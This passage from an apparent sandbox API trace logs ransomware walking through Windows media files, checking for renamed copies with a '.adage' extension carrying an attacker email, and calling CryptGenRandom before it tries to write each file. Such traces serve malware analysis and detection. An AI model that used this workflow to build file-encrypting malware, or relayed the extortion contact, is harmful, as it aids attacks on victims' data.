Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.246] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.578] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=117214) returned 1 [0057.578] CloseHandle (hObject=0x1a8) returned 1 [0057.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv")) returned 0x20 [0057.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.578] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.730] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1285) returned 1 [0057.731] CloseHandle (hObject=0x1a8) returned 1 [0057.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png")) returned 0x20 [0057.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.735] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.753] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3118) returned 1 [0057.753] CloseHandle (hObject=0x1a8) returned 1 [0057.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png")) returned 0x20 [0057.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.754] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.755] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3081) returned 1 [0057.755] CloseHandle (hObject=0x1a8) returned 1 [0057.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png")) returned 0x20 [0057.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.757] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.757] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.757] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.757] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=24520) returned 1 [0057.757] CloseHandle (hObject=0x1a8) returned 1 [0057.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png")) returned 0x20 [0057.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.758] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.759] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4570) returned 1 [0057.759] CloseHandle (hObject=0x1a8) returned 1 [0057.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png")) returned 0x20 [0057.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.760] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.761] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2821) returned 1 [0057.761] CloseHandle (hObject=0x1a8) returned 1 [0057.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png")) returned 0x20 [0057.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.761] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.762] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4563) returned 1 [0057.762] CloseHandle (hObject=0x1a8) returned 1 [0057.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png")) returned 0x20 [0057.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.762] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.762] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4669) returned 1 [0057.763] CloseHandle (hObject=0x1a8) returned 1 [0057.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png")) returned 0x20 [0057.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.763] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.764] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=26516) returned 1 [0057.764] CloseHandle (hObject=0x1a8) returned 1 [0057.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png")) returned 0x20 [0057.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.764] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.764] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.764] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.765] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5088) returned 1 [0057.765] CloseHandle (hObject=0x1a8) returned 1 [0057.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png")) returned 0x20 [0057.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.765] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.765] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.769] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3130) returned 1 [0057.769] CloseHandle (hObject=0x1a8) returned 1 [0057.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png")) returned 0x20 [0057.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.769] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.770] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5025) returned 1 [0057.770] CloseHandle (hObject=0x1a8) returned 1 [0057.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png")) returned 0x20 [0057.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.771] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.771] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3118) returned 1 [0057.772] CloseHandle (hObject=0x1a8) returned 1 [0057.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png")) returned 0x20 [0057.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.772] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.773] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4955) returned 1 [0057.773] CloseHandle (hObject=0x1a8) returned 1 [0057.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png")) returned 0x20 [0057.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.774] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.775] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3081) returned 1 [0057.775] CloseHandle 